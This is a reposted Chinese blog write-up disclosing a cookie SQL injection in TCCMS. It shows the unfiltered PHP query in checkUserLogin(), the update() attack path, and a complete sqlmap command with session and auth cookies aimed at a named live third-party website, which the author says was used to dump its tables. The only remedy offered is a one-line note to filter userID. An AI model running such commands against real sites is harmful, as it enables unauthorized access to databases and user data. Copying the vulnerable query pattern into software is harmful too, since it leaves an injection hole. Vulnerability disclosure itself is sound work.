未加星标

TCCMS全版本COOKIE注入及修复

字体大小 | |
[web安全 所属分类 web安全 | 发布者 店小二04 | 时间 20131203 | 作者 lxj616 ] 0人收藏点击收藏
TCCMS teamcen.com Cookie Injection

证明处使用SQLMAP注射成功

/public/Class/Authen.class.php

省略无关代码

请注意添加注释处代码,下同


public static function checkUserLogin() {
$_Obj = M("user");
if (empty($_COOKIE['userId']) || empty($_COOKIE['AuthenId'])) {return false;}
//下面的语句直接使用$_COOKIE['userId']没有过滤
$sql="select password from ".$_Obj->table." where id=".$_COOKIE['userId'];
//不考虑之后的代码,如果没有其他限制至少可以盲注
$info = $_Obj->query($sql);
if (!empty($_COOKIE['AuthenId']) && md5($info[0][password].Config::get("anthenKey")) == $_COOKIE['AuthenId']) {return true;
}
return false;
}
//下面函数与之后提到的攻击向量有关
public static function checkIsSelfData($uid) {
if (self::isAdmin()) {return true;}
if ($uid == $_COOKIE['userId'] && self::checkUserLogin()) {return true;}
return false;
}

那么我们要定位漏洞代码的触发位置

/core/controller/user.class.php


攻击向量:


update()-------------》Authen::checkIsSelfData-------》checkUserLogin()

缺陷参数:userID


public function update() {


…………省略无关代码…………



//禁止修改别人的
$IsSelfData = Authen::checkIsSelfData($_Obj->id);
if (!$IsSelfData) {
$this->setValue("error", Config::lang("NOTRIGHT"));
$this->forward("error.html");
exit;
}
$_Obj->update();
StringUtil::msgbox(Config::lang("MODIFYSUCCESS"), 'index.php?ac=user_info', 1);
}

即:在更新个人信息时可以直接将cookie中的userID带入数据库查询,形成注射


下面是利用SQLMAP的证明

漏洞证明:

演示的站点为 lszq.xinwen110.cn

理事会员-中国社会新闻网理事会员-中国社会新闻网 - Power By TCCMS

本机测试时的命令

C:\Users\Administrator.PC-20110802HBAF>sqlmap.py -u "lszq.xinwen110.cn/index.php

?ac=user_update" --data "abc" --cookie "CookiephpSESSID=0lc04nmbqmmtr420c83n8ov

3g4; userId=37; AuthenId=2fd1239168e9fabd621a8d00fba03203" --level 2 --table --d

bms=mysql


TCCMS全版本COOKIE注入及修复

跑了下数据库,证明即可

TCCMS全版本COOKIE注入及修复

注意,请在复现漏洞时将COOKIE换为对应的有效COOKIE(可以注册一个)

修复方案:

checkUserLogin() 严格过滤userID

本文web安全相关术语:黑盒测试方法 黑盒测试和白盒测试 网站安全检测 360网站安全检测 网络安全知识 网络安全技术 网络信息安全 网络安全工程师

代码区博客精选文章
分页:12
转载请注明
本文标题:TCCMS全版本COOKIE注入及修复
本站链接:https://www.codesec.net/view/939.html


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | web安全 | 评论(0) | 阅读(29)